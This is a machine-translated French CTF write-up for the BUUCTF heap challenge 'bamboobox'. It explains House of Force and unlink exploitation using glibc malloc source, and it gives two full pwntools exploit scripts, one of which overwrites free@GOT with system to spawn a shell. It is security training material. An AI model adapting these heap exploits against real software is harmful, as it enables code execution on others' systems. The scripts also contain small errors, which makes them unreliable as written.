[BUUCTF] PWN —— hitcontraining_bamboobox (Maison de la force + dissociation)

hitcontraining_bamboobox

annexe

étape

  1. L'inspection de routine, le programme 64 bits, Canary et nx sont activés
    Insérez la description de l'image ici

  2. Essayez un test local pour voir l'exécution approximative, le menu d'empilage classique, et selon les invites sur la première ligne, on estime qu'il y a une porte dérobée
    Insérez la description de l'image ici

  3. Ida 64 bits est chargé, en supposant qu'il y a une porte dérobée, la chaîne de recherche a vraiment trouvé la porte dérobée, mais selon l'habitude de buu, généralement le drapeau est dans le répertoire racine, cette porte dérobée ne devrait pas être beaucoup utilisée, rappelez-vous d'abord magic_addr = 0x400d49
    Insérez la description de l'image ici

  4. main (), il exécutera v4 [1] lorsque l'entrée 5, v4 [1] est l'adresse de goodbye_message, si le chemin du drapeau de la porte dérobée est correct, vous pouvez changer l'adresse de goodbye_message en majic via la méthode house d'adresse de force, vous pouvez obtenir le drapeau
    Insérez la description de l'image ici

  5. Analyser les fonctions de chaque fonction
    add ()
    Insérez la description de l'image ici
    edit ()
    Insérez la description de l'image ici
    show ()
    Insérez la description de l'image ici
    free () La
    Insérez la description de l'image ici
    fonction free n'a pas de point d'utilisation.

Maison de force

Utilisez des idées

  1. À travers la maison de force, déplacez l'adresse du bloc supérieur vers le bloc 0 où goodbye_messaged est enregistré
  2. Demander à nouveau chunk, nous pourrons allouer chunk0
  3. Changez goodbye_message en adresse magique
  4. Entrez 5 pour appeler la v4 [1] pour obtenir le drapeau

Processus d'utilisation

Pour réaliser la migration du morceau supérieur,
créez d'abord un morceau et déboguez pour trouver l'emplacement du morceau supérieur

add(0x30,'aaaa')
gdb.attach(p)

Insérez la description de l'image ici
Nous pouvons voir que le décalage du bloc supérieur au bloc 0 est de -0x60, en utilisant la technique de la maison de la force (voir ctfwiki pour la méthode spécifique ). Je parlerai brièvement de cette question en conjonction avec ctfwiki

La raison de House Of Force est que la glibc traite le morceau supérieur. Pendant l'allocation du tas, si tous les blocs libres ne peuvent pas répondre à la demande, alors la taille correspondante sera divisée du morceau supérieur en tant qu'espace du bloc de tas.

Tout d'abord, dans la glibc, la taille de la demande de l'utilisateur et la taille existante du bloc supérieur sont vérifiées

// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size   = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

Cependant, si la taille peut être altérée à une valeur élevée, cette vérification peut être facilement transmise, nous avons donc besoin d'une faille qui puisse contrôler le champ de taille de bloc supérieur. Auparavant analysé qu'il existe une vulnérabilité de débordement dans la fonction d'édition, qui peut être utilisée pour modifier la taille du morceau supérieur.

L'approche générale consiste à changer la taille du morceau supérieur à -1, car la taille sera convertie en un nombre non signé 0xffffffffffffffff lors de la comparaison, donc -1 est le plus grand nombre en long non signé, donc il peut être vérifié de toute façon.

Voyons comment gérer cette question. Examinons la répartition de la mémoire des blocs.
Insérez la description de l'image ici
Nous utilisons la vulnérabilité de dépassement de capacité de edit pour modifier le bloc 0 afin de modifier la taille du bloc supérieur.

payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)
 
edit(0,0x41,payload)

L'effet est le suivant
Insérez la description de l'image ici

remainder      = chunk_at_offset(victim, nb);
av->top        = remainder;

/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))

Après cela, le pointeur supérieur sera mis à jour ici et le bloc de tas suivant sera alloué à cet emplacement. Tant que l'utilisateur contrôle ce pointeur, cela équivaut à écrire n'importe quelle valeur à n'importe quelle adresse (écrire n'importe quoi n'importe où). Ce que nous devons faire dans cette question est de mettre à jour le pointeur du haut vers la position de chunk0, afin que la valeur de chunk0 puisse être réécrite lorsque malloc

Dans le même temps, nous devons noter que la taille de topchunk sera également mise à jour et que la méthode de mise à jour est la suivante

victim = av->top;
size   = chunksize(victim);
remainder_size = size - nb;
set_head(remainder, remainder_size | PREV_INUSE);

Par conséquent, si nous voulons allouer un morceau de taille x à l'emplacement spécifié la prochaine fois, nous devons nous assurer que restder_size n'est pas inférieur à x + MINSIZE.

Dans cette question, nous voulons mettre à jour le pointeur du morceau supérieur vers chunk0 et calculer le décalage0xfc7000-0xfc7060=-0x60

De plus, la taille de mémoire demandée par l'utilisateur devient un entier non signé une fois qu'il entre dans la fonction de demande de mémoire.

void *__libc_malloc(size_t bytes) {

Si vous souhaitez saisir l'utilisateur via la taille interne de checked_request2sizecette taille peut être obtenue, à savoir

/*
   Check if a request is so large that it would wrap around zero when
   padded and aligned. To simplify some other code, the bound is made
   low enough so that adding MINSIZE will also not wrap around zero.
 */

#define REQUEST_OUT_OF_RANGE(req)                                              \
    ((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req)                                                      \
    (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)                           \
         ? MINSIZE                                                             \
         : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/*  Same, except also perform argument check */

#define checked_request2size(req, sz)                                          \
    if (REQUEST_OUT_OF_RANGE(req)) {                                           \
        __set_errno(ENOMEM);                                                   \
        return 0;                                                              \
    }                                                                          \
    (sz) = request2size(req);

D'une part, il faut contourner le test REQUEST_OUT_OF_RANGE (req), c'est-à-dire que la valeur que nous passons à malloc est dans la plage des nombres négatifs et ne doit pas être supérieure à -2 * MINSIZE, ce qui est généralement satisfaisant.

D'autre part, après avoir satisfait aux contraintes correspondantes, nous devons convertir request2size exactement à la taille correspondante, c'est-à-dire que nous devons faire ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~ MALLOC_ALIGN_MASK exactement-60.
Tout d'abord, évidemment, -60 est aligné sur les morceaux, il suffit donc de soustraire SIZE_SZ et MALLOC_ALIGN_MASK pour obtenir la valeur correspondante qui doit être appliquée.

Je ne sais pas combien de personnes comme moi peuvent rencontrer beaucoup de noms exclusifs qu’ils n’ont jamais rencontrés auparavant en faisant des tas. Voici les explications sur size_sze et MALLOC_ALIGN_MASK que Baidu a obtenues.
Tout d’abord, veuillez lire glibc sur le site Web de GNU Téléchargez le code source et affichez son fichier malloc.c
Insérez la description de l'image ici
Dans la plupart des cas, le compilateur et la bibliothèque C vous aideront de manière transparente à résoudre les problèmes d'alignement. POSIX indique que les adresses retournées par malloc (), calloc () et realloc () sont alignées pour tout type C.
La taille du paramètre d'alignement (MALLOC_ALIGNMENT) doit répondre à deux caractéristiques: 1. Doit être une puissance de 2 2. Doit être un multiple entier de (void *)
Quant à savoir pourquoi il doit être un multiple entier de (void *) ), c’est mon cas. Ce n’est pas encore clair, attendez que vous le découvriez ...
Selon ce principe, les unités d’alignement en 32 bits et 64 bits sont respectivement de 8 octets et 16 octets.

Nous devons donc contourner la macro request2size (req) pour cette question. Ici, puisque -0x60 est aligné sur 16 octets, nous devons soustraire SIZE_SZ (0x8) et MALLOC_ALIGN_MASK (0xf)
. Le décalage du pointeur modifié est0xfc7000-0xfc7060-0x8-0xf

Après avoir obtenu l'offset, nous pouvons migrer l'adresse du morceau supérieur vers chunk0 en fonction du décalage malloc (chunk), puis notre malloc peut obtenir l'adresse du chunk0 d'origine, afin de pouvoir réécrire chunk0

offset = -(0x60+0x8+0xf)
add(offset,'aaaa')
add(0x10,p64(magic) * 2)

Changé avec succès la valeur de chunk0 à l'adresse de magie, et le reste consiste à entrer 5 pour appeler chunk0
Insérez la description de l'image ici

Exp complète

from pwn import *

#p=remote("node3.buuoj.cn",27403)
p=process("./bamboobox")
elf=ELF('./bamboobox')
context.log_level="debug"

def add(length,name):
	p.recvuntil(":")
	p.sendline('2')
	p.recvuntil(':')
	p.sendline(str(length))
	p.recvuntil(":")
	p.sendline(name)
 
def edit(idx,length,name):
	p.recvuntil(':')
	p.sendline('3')
	p.recvuntil(":")
	p.sendline(str(idx))
	p.recvuntil(":")
	p.sendline(str(length))
	p.recvuntil(':')
	p.sendline(name)
 
def free(idx):
	p.revcuntil(":")
	p.sendline("4")
	p.recvuntil(":")
	p.sendline(str(idx))
 
def show():
	p.recvuntil(":")
	p.sendline("1")
 
magic = 0x400d49
 
add(0x30,'aaaa')
#gdb.attach(p)

payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)
 
edit(0,0x41,payload)
#gdb.attach(p)

offset = -(0x60+0x8+0xf)
add(offset,'aaaa')
add(0x10,p64(magic) * 2)
 
#gdb.attach(p)
 
p.interactive()

Insérez la description de l'image ici
Je sais que la porte dérobée donnée par buu est fausse, cette méthode peut être ouverte localement, si le chemin du drapeau donné par la porte dérobée est correct, cela fonctionnera.

Le wp d'autres maîtres Baidu a déclaré que la dissociation peut passer par la télécommande.
Référence wp: https://www.cnblogs.com/luoleqi/p/12373298.html

Dissocier

Utilisez des idées

  1. Forgez un morceau gratuit.
  2. Déplacez le bloc vers la mémoire où le pointeur de bloc est stocké via la dissociation.
  3. Remplacez le pointeur du bloc 0 par l'adresse de la table free @ got et faites-la fuir.
  4. Remplacez la table free @ got par l'adresse de la fonction système.
  5. Le contenu du morceau demandé est "/ bin / sh", appelez la fonction libre pour obtenir le shell.

Processus d'utilisation

Tout d'abord, appliquez au hasard quelques morceaux pour regarder la disposition.
Généralement, le morceau demandé est (0x20 ~ 0x80). Puisque le mécanisme d'allocation de malloc implique un alignement, je vais vérifier la taille du morceau alloué à chaque fois.

add(0x40,'a'*8 )
add(0x80,'b' * 8)
add(0x80,'c' * 8)
add(0x20,'/bin/sh\x00')  #这个是用来后面free的,一开始调试的时候没有写,下面调试堆布局的时候没有这个chunk,影响不大

Insérez la description de l'image ici

Ce que nous devons faire est de construire un faux bloc dans le bloc 0, et de définir les pointeurs sur ptr-0x18 et ptr-0x10 respectivement, et en même temps de donner à prev_size du bloc 1 la taille du faux bloc, et de définir le inuse position of size à 0, de sorte qu'il soit libre Lorsque le bloc 1, le programme pensera à tort que le faux bloc est libre, ce qui déclenche l'opération de dissociation et définit le pointeur ptr sur ptr-0x18.

ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+='\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)

edit(0,len(fake_chunk),fake_chunk)

En regardant la disposition du tas modifiée, combinée à l'image précédente, nous pouvons constater que nous avons forgé un faux morceau dans chunk0,
Insérez la description de l'image ici
puis nous libérons le morceau suivant de tas1. Fake_chunk et chunk1 sont fusionnés, le fakechunk est dissocié et la valeur de G_ptr est modifiée. Après cela, l'adresse du chunk0 que nous avons modifiée n'est plus l'adresse vue par la commande parseheap. Maintenant, l'adresse du chunk0 est ptr = 0x6020c8-0x18

free(1)
free_got=elf.got['free']
log.info("free_got:%x",free_got)
payload1=p64(0)+p64(0)+p64(0x30)+p64(free_got)
edit(1,len(payload),payload1)

Regardez la disposition du tas. Pour le moment, le contenu de chunk0 est free @ got.
Insérez la description de l'image ici
Utilisez d'abord show pour imprimer l'adresse free @ got, la fuite de la libc et calculer l'adresse du système. Remplacez free @ got par le système. Nous allons demandez-en un au début. chunk, son contenu est '/ bin / sh', relâchez-le pour obtenir le shell

show()
free_addr=u64(r.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) 
log.info("free_addr:%x",free_addr)
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
log.info("libc_addr:%x",libc_base)
system_addr=libc_base+libc.dump('system')
log.info("system_addr:%x",system_addr)
edit(0,0x8,p64(system_addr))

add(0x20,'/bin/sh\x00')
free(3)

Exp complète

from pwn import *
from LibcSearcher import *
#r=process('bamboobox')
r=remote('node3.buuoj.cn',29464)
elf=ELF('bamboobox')
context.log_level="debug"


def add(length,context):
    r.recvuntil("Your choice:")
    r.sendline("2")
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the name of item:")
    r.send(context)

def edit(idx,length,context):
    r.recvuntil("Your choice:")
    r.sendline("3")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the new name of the item:")
    r.send(context)

def free(idx):
    r.recvuntil("Your choice:")
    r.sendline("4")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))

def show():
    r.sendlineafter("Your choice:", "1")

add(0x40,'a' * 8)
add(0x80,'b' * 8)
add(0x80,'c' * 8)
add(0x20,'/bin/sh\x00')
#gdb.attach(r)

ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+='\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)

edit(0,len(fake_chunk),fake_chunk)
#gdb.attach(r)

free(1)
free_got=elf.got['free']
log.info("free_got:%x",free_got)
payload=p64(0)+p64(0)+p64(0x40)+p64(free_got)
edit(0,len(fake_chunk),payload)
#gdb.attach(r)

show()
free_addr=u64(r.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) 
log.info("free_addr:%x",free_addr)
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
log.info("libc_addr:%x",libc_base)
system_addr=libc_base+libc.dump('system')
log.info("system_addr:%x",system_addr)
edit(0,0x8,p64(system_addr))

#gdb.attach(r)


free(3)
r.interactive()

Insérez la description de l'image ici

Je suppose que tu aimes

Origine blog.csdn.net/mcmuyanga/article/details/114291792
conseillé
Classement